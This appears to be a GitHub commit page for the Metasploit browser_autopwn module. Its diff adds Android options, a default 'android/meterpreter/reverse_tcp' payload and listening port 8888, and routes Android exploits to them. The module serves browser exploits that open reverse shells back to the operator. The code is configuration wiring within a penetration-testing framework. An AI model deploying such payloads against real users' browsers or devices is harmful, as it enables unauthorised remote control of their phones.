Skip to content

Commit 5bfbb76

Browse files
committed
Add android meterpreter to browser autopwn.
1 parent c5c63f4 commit 5bfbb76

File tree

1 file changed

+12
-0
lines changed

1 file changed

+12
-0
lines changed

modules/auxiliary/server/browser_autopwn.rb

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -114,6 +114,13 @@ def initialize(info = {})
114114
'The payload to use for Java reverse-connect payloads',
115115
'java/meterpreter/reverse_tcp'
116116
]),
117+
OptPort.new('LPORT_ANDROID', [false,
118+
'The port to use for Java reverse-connect payloads', 8888
119+
]),
120+
OptString.new('PAYLOAD_ANDROID', [false,
121+
'The payload to use for Android reverse-connect payloads',
122+
'android/meterpreter/reverse_tcp'
123+
])
117124
], self.class)
118125

119126
@exploits = Hash.new
@@ -265,6 +272,8 @@ def setup
265272
@gen_payload = datastore['PAYLOAD_GENERIC']
266273
@java_lport = datastore['LPORT_JAVA']
267274
@java_payload = datastore['PAYLOAD_JAVA']
275+
@android_lport = datastore['LPORT_ANDROID']
276+
@android_payload = datastore['PAYLOAD_ANDROID']
268277

269278
minrank = framework.datastore['MinimumRank'] || 'manual'
270279
if not RankingName.values.include?(minrank)
@@ -320,6 +329,9 @@ def init_exploit(name, mod = nil, targ = 0)
320329
when %r{/java_}
321330
payload = @java_payload
322331
lport = @java_lport
332+
when %r{^android/}
333+
payload = @android_payload
334+
lport = @android_lport
323335
else
324336
payload = @gen_payload
325337
lport = @gen_lport

0 commit comments

Comments
 (0)